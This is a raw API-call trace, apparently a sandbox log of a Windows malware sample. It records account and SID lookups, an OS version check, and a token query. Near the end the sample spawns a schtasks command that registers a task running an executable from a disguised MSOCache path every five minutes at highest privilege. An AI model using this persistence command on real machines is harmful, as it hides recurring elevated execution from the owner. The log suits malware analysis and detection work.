[0123.872] SysStringLen (param_1="5") returned 0x1 [0123.872] memcpy (in: _Dst=0x196ee7aac58, _Src=0x196ee7aa9e8, _Size=0xa | out: _Dst=0x196ee7aac58) returned 0x196ee7aac58 [0123.872] memcpy (in: _Dst=0x196ee7aac60, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aac60) returned 0x196ee7aac60 [0123.872] free (_Block=0x196ef0d1f40) [0123.872] free (_Block=0x196ef0d1e80) [0123.872] GetSidSubAuthorityCount (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0fa1 [0123.872] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0fa8 [0123.872] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0123.872] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0123.872] malloc (_Size=0x18) returned 0x196ef0d2060 [0123.872] SysStringLen (param_1="S-1-5") returned 0x5 [0123.872] SysStringLen (param_1="-") returned 0x1 [0123.872] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aac58, _Size=0xc | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0123.872] memcpy (in: _Dst=0x196ee7aab42, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7aab42) returned 0x196ee7aab42 [0123.872] free (_Block=0x196ef0d1d00) [0123.872] free (_Block=0x196ef0d1ec0) [0123.872] malloc (_Size=0x18) returned 0x196ef0d20c0 [0123.872] malloc (_Size=0x18) returned 0x196ef0d1c60 [0123.872] SysStringLen (param_1="S-1-5-") returned 0x6 [0123.872] SysStringLen (param_1="21") returned 0x2 [0123.872] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aab38, _Size=0xe | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0123.872] memcpy (in: _Dst=0x196ee7aa9f4, _Src=0x196ee7aac58, _Size=0x6 | out: _Dst=0x196ee7aa9f4) returned 0x196ee7aa9f4 [0123.873] free (_Block=0x196ef0d2060) [0123.873] free (_Block=0x196ef0d20c0) [0123.873] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0fac [0123.873] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0123.873] malloc (_Size=0x18) returned 0x196ef0d1f20 [0123.873] malloc (_Size=0x18) returned 0x196ef0d1f40 [0123.873] SysStringLen (param_1="S-1-5-21") returned 0x8 [0123.873] SysStringLen (param_1="-") returned 0x1 [0123.873] memcpy (in: _Dst=0x196ee7aac58, _Src=0x196ee7aa9e8, _Size=0x12 | out: _Dst=0x196ee7aac58) returned 0x196ee7aac58 [0123.873] memcpy (in: _Dst=0x196ee7aac68, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aac68) returned 0x196ee7aac68 [0123.873] free (_Block=0x196ef0d1c60) [0123.873] free (_Block=0x196ef0d1f20) [0123.873] malloc (_Size=0x18) returned 0x196ef0d20e0 [0123.873] malloc (_Size=0x18) returned 0x196ef0d1a40 [0123.873] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0123.873] SysStringLen (param_1="1560258661") returned 0xa [0123.873] memcpy (in: _Dst=0x196ee777fc8, _Src=0x196ee7aac58, _Size=0x14 | out: _Dst=0x196ee777fc8) returned 0x196ee777fc8 [0123.873] memcpy (in: _Dst=0x196ee777fda, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee777fda) returned 0x196ee777fda [0123.873] free (_Block=0x196ef0d1f40) [0123.873] free (_Block=0x196ef0d20e0) [0123.873] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0fb0 [0123.874] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0123.874] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0123.874] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0123.874] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0123.874] SysStringLen (param_1="-") returned 0x1 [0123.874] memcpy (in: _Dst=0x196ee777618, _Src=0x196ee777fc8, _Size=0x28 | out: _Dst=0x196ee777618) returned 0x196ee777618 [0123.874] memcpy (in: _Dst=0x196ee77763e, _Src=0x196ee7aac58, _Size=0x4 | out: _Dst=0x196ee77763e) returned 0x196ee77763e [0123.874] free (_Block=0x196ef0d1a40) [0123.874] free (_Block=0x196ef0d1ee0) [0123.874] malloc (_Size=0x18) returned 0x196ef0d1960 [0123.874] malloc (_Size=0x18) returned 0x196ef0d1a60 [0123.874] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0123.874] SysStringLen (param_1="3990802383") returned 0xa [0123.874] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee777618, _Size=0x2a | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0123.874] memcpy (in: _Dst=0x196ee7aae10, _Src=0x196ee7aac58, _Size=0x16 | out: _Dst=0x196ee7aae10) returned 0x196ee7aae10 [0123.874] free (_Block=0x196ef0d1aa0) [0123.874] free (_Block=0x196ef0d1960) [0123.874] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0fb4 [0123.874] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0123.874] malloc (_Size=0x18) returned 0x196ef0d20c0 [0123.874] malloc (_Size=0x18) returned 0x196ef0d1e80 [0123.874] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0123.875] SysStringLen (param_1="-") returned 0x1 [0123.875] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x3e | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0123.875] memcpy (in: _Dst=0x196ee7b9c34, _Src=0x196ee7aac58, _Size=0x4 | out: _Dst=0x196ee7b9c34) returned 0x196ee7b9c34 [0123.875] free (_Block=0x196ef0d1a60) [0123.875] free (_Block=0x196ef0d20c0) [0123.875] malloc (_Size=0x18) returned 0x196ef0d1f20 [0123.875] malloc (_Size=0x18) returned 0x196ef0d1f40 [0123.875] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0123.875] SysStringLen (param_1="1811730007") returned 0xa [0123.875] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x40 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0123.875] memcpy (in: _Dst=0x196ee7aae26, _Src=0x196ee7aac58, _Size=0x16 | out: _Dst=0x196ee7aae26) returned 0x196ee7aae26 [0123.875] free (_Block=0x196ef0d1e80) [0123.875] free (_Block=0x196ef0d1f20) [0123.875] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0fb8 [0123.875] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0123.875] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0123.875] malloc (_Size=0x18) returned 0x196ef0d2000 [0123.875] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0123.875] SysStringLen (param_1="-") returned 0x1 [0123.875] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x54 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0123.875] memcpy (in: _Dst=0x196ee7b9c4a, _Src=0x196ee7aac58, _Size=0x4 | out: _Dst=0x196ee7b9c4a) returned 0x196ee7b9c4a [0123.875] free (_Block=0x196ef0d1f40) [0123.876] free (_Block=0x196ef0d1fa0) [0123.876] malloc (_Size=0x18) returned 0x196ef0d1da0 [0123.876] malloc (_Size=0x18) returned 0x196ef0d1b40 [0123.876] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0123.876] SysStringLen (param_1="1000") returned 0x4 [0123.876] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x56 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0123.876] memcpy (in: _Dst=0x196ee7aae3c, _Src=0x196ee7aac58, _Size=0xa | out: _Dst=0x196ee7aae3c) returned 0x196ee7aae3c [0123.876] free (_Block=0x196ef0d2000) [0123.876] free (_Block=0x196ef0d1da0) [0123.876] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0123.876] malloc (_Size=0x5e) returned 0x196ef0d0370 [0123.876] free (_Block=0x196ef0d1b40) [0123.876] malloc (_Size=0x18) returned 0x196ef0d1a20 [0123.876] free (_Block=0x196ef0d0370) [0123.877] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0123.878] GetLastError () returned 0x7a [0123.878] malloc (_Size=0x1a) returned 0x196ef0fa030 [0123.878] malloc (_Size=0xe) returned 0x196ef0d1ce0 [0123.878] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa030, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1ce0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0123.879] malloc (_Size=0x18) returned 0x196ef0d1a40 [0123.879] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0123.879] free (_Block=0x196ef0fa030) [0123.879] free (_Block=0x196ef0d1ce0) [0123.879] free (_Block=0x196ef0f9a90) [0123.879] free (_Block=0x196ef0d1bc0) [0123.879] free (_Block=0x196ef0d1a40) [0123.879] free (_Block=0x196ef0d1a20) [0123.880] free (_Block=0x196ef0d0f90) [0123.880] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0123.880] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0123.880] GetLastError () returned 0x7a [0123.880] malloc (_Size=0x2c) returned 0x196ef0d0e10 [0123.880] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0e10, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0e10, ReturnLength=0x67117c740) returned 1 [0123.880] IsValidSid (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0123.880] GetLengthSid (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0123.880] malloc (_Size=0x1c) returned 0x196ef0f9a60 [0123.880] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9a60, pSourceSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9a60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0123.880] GetSidIdentifierAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e22 [0123.880] malloc (_Size=0x18) returned 0x196ef0d1d80 [0123.880] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0123.880] malloc (_Size=0x18) returned 0x196ef0d1d00 [0123.880] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0123.881] SysStringLen (param_1="S-1-") returned 0x4 [0123.881] SysStringLen (param_1="5") returned 0x1 [0123.881] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aac58, _Size=0xa | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0123.881] memcpy (in: _Dst=0x196ee7aa9f0, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aa9f0) returned 0x196ee7aa9f0 [0123.881] free (_Block=0x196ef0d1d80) [0123.881] free (_Block=0x196ef0d1d00) [0123.881] GetSidSubAuthorityCount (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e21 [0123.881] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0e28 [0123.881] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0123.881] malloc (_Size=0x18) returned 0x196ef0d1d20 [0123.881] malloc (_Size=0x18) returned 0x196ef0d1960 [0123.881] SysStringLen (param_1="S-1-5") returned 0x5 [0123.881] SysStringLen (param_1="-") returned 0x1 [0123.881] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aa9e8, _Size=0xc | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0123.881] memcpy (in: _Dst=0x196ee7aab42, _Src=0x196ee7aac58, _Size=0x4 | out: _Dst=0x196ee7aab42) returned 0x196ee7aab42 [0123.881] free (_Block=0x196ef0d1aa0) [0123.881] free (_Block=0x196ef0d1d20) [0123.881] malloc (_Size=0x18) returned 0x196ef0d1f20 [0123.881] malloc (_Size=0x18) returned 0x196ef0d1a80 [0123.881] SysStringLen (param_1="S-1-5-") returned 0x6 [0123.881] SysStringLen (param_1="21") returned 0x2 [0123.881] memcpy (in: _Dst=0x196ee7aac58, _Src=0x196ee7aab38, _Size=0xe | out: _Dst=0x196ee7aac58) returned 0x196ee7aac58 [0123.881] memcpy (in: _Dst=0x196ee7aac64, _Src=0x196ee7aa9e8, _Size=0x6 | out: _Dst=0x196ee7aac64) returned 0x196ee7aac64 [0123.882] free (_Block=0x196ef0d1960) [0123.882] free (_Block=0x196ef0d1f20) [0123.882] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0e2c [0123.882] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0123.882] malloc (_Size=0x18) returned 0x196ef0d1e60 [0123.882] malloc (_Size=0x18) returned 0x196ef0d1c40 [0123.882] SysStringLen (param_1="S-1-5-21") returned 0x8 [0123.882] SysStringLen (param_1="-") returned 0x1 [0123.882] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aac58, _Size=0x12 | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0123.882] memcpy (in: _Dst=0x196ee7aa9f8, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aa9f8) returned 0x196ee7aa9f8 [0123.882] free (_Block=0x196ef0d1a80) [0123.882] free (_Block=0x196ef0d1e60) [0123.882] malloc (_Size=0x18) returned 0x196ef0d1b40 [0123.882] malloc (_Size=0x18) returned 0x196ef0d19e0 [0123.882] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0123.882] SysStringLen (param_1="1560258661") returned 0xa [0123.882] memcpy (in: _Dst=0x196ee777fc8, _Src=0x196ee7aa9e8, _Size=0x14 | out: _Dst=0x196ee777fc8) returned 0x196ee777fc8 [0123.882] memcpy (in: _Dst=0x196ee777fda, _Src=0x196ee7aac58, _Size=0x16 | out: _Dst=0x196ee777fda) returned 0x196ee777fda [0123.882] free (_Block=0x196ef0d1c40) [0123.882] free (_Block=0x196ef0d1b40) [0123.882] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0e30 [0123.882] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0123.883] malloc (_Size=0x18) returned 0x196ef0d1e20 [0123.883] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0123.883] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0123.883] SysStringLen (param_1="-") returned 0x1 [0123.883] memcpy (in: _Dst=0x196ee777618, _Src=0x196ee777fc8, _Size=0x28 | out: _Dst=0x196ee777618) returned 0x196ee777618 [0123.883] memcpy (in: _Dst=0x196ee77763e, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee77763e) returned 0x196ee77763e [0123.883] free (_Block=0x196ef0d19e0) [0123.883] free (_Block=0x196ef0d1e20) [0123.883] malloc (_Size=0x18) returned 0x196ef0d1be0 [0123.883] malloc (_Size=0x18) returned 0x196ef0d1e00 [0123.883] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0123.883] SysStringLen (param_1="3990802383") returned 0xa [0123.883] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee777618, _Size=0x2a | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0123.883] memcpy (in: _Dst=0x196ee7b9c20, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee7b9c20) returned 0x196ee7b9c20 [0123.883] free (_Block=0x196ef0d1fc0) [0123.883] free (_Block=0x196ef0d1be0) [0123.883] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0e34 [0123.883] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0123.883] malloc (_Size=0x18) returned 0x196ef0d2080 [0123.883] malloc (_Size=0x18) returned 0x196ef0d1be0 [0123.883] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0123.883] SysStringLen (param_1="-") returned 0x1 [0123.883] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x3e | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0123.884] memcpy (in: _Dst=0x196ee7aae24, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7aae24) returned 0x196ee7aae24 [0123.884] free (_Block=0x196ef0d1e00) [0123.884] free (_Block=0x196ef0d2080) [0123.884] malloc (_Size=0x18) returned 0x196ef0d20a0 [0123.884] malloc (_Size=0x18) returned 0x196ef0d1e60 [0123.884] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0123.884] SysStringLen (param_1="1811730007") returned 0xa [0123.884] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x40 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0123.884] memcpy (in: _Dst=0x196ee7b9c36, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee7b9c36) returned 0x196ee7b9c36 [0123.884] free (_Block=0x196ef0d1be0) [0123.884] free (_Block=0x196ef0d20a0) [0123.884] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0e38 [0123.884] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0123.884] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0123.884] malloc (_Size=0x18) returned 0x196ef0d1f20 [0123.884] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0123.884] SysStringLen (param_1="-") returned 0x1 [0123.884] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x54 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0123.884] memcpy (in: _Dst=0x196ee7aae3a, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7aae3a) returned 0x196ee7aae3a [0123.884] free (_Block=0x196ef0d1e60) [0123.884] free (_Block=0x196ef0d1fa0) [0123.884] malloc (_Size=0x18) returned 0x196ef0d1c40 [0123.885] malloc (_Size=0x18) returned 0x196ef0d19e0 [0123.885] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0123.885] SysStringLen (param_1="1000") returned 0x4 [0123.885] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x56 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0123.885] memcpy (in: _Dst=0x196ee7b9c4c, _Src=0x196ee7aa9e8, _Size=0xa | out: _Dst=0x196ee7b9c4c) returned 0x196ee7b9c4c [0123.885] free (_Block=0x196ef0d1f20) [0123.885] free (_Block=0x196ef0d1c40) [0123.885] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0123.885] malloc (_Size=0x5e) returned 0x196ef0d06f0 [0123.885] free (_Block=0x196ef0d19e0) [0123.885] malloc (_Size=0x18) returned 0x196ef0d1a40 [0123.885] free (_Block=0x196ef0d06f0) [0123.885] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0123.886] GetLastError () returned 0x7a [0123.886] malloc (_Size=0x1a) returned 0x196ef0f9c70 [0123.886] malloc (_Size=0xe) returned 0x196ef0d1f40 [0123.886] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9c70, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1f40, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0123.888] malloc (_Size=0x18) returned 0x196ef0d1f60 [0123.888] malloc (_Size=0x18) returned 0x196ef0d1d60 [0123.888] free (_Block=0x196ef0f9c70) [0123.888] free (_Block=0x196ef0d1f40) [0123.888] free (_Block=0x196ef0f9a60) [0123.888] free (_Block=0x196ef0d1d60) [0123.888] free (_Block=0x196ef0d1f60) [0123.888] free (_Block=0x196ef0d1a40) [0123.888] free (_Block=0x196ef0d0e10) [0123.889] SetEvent (hEvent=0x248) returned 1 [0123.889] free (_Block=0x196ef0cc850) [0123.889] CreateEnvironmentBlock () returned 0x1 [0123.894] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0123.894] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"accuposa\" /sc MINUTE /mo 5 /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"accuposa\" /sc MINUTE /mo 5 /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x10c4, dwThreadId=0xabc)) returned 1 [0123.902] CloseHandle (hObject=0x260) returned 1 [0123.902] CloseHandle (hObject=0x264) returned 1 [0123.903] free (_Block=0x196ef0d1bc0) [0123.903] DestroyEnvironmentBlock () returned 0x1 [0123.903] malloc (_Size=0x48) returned 0x196ef0cc850 [0123.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x2ab5f220, dwHighDateTime=0x1d9eb0c)) [0123.903] SetEvent (hEvent=0x248) returned 1 [0123.904] CloseHandle (hObject=0x26c) 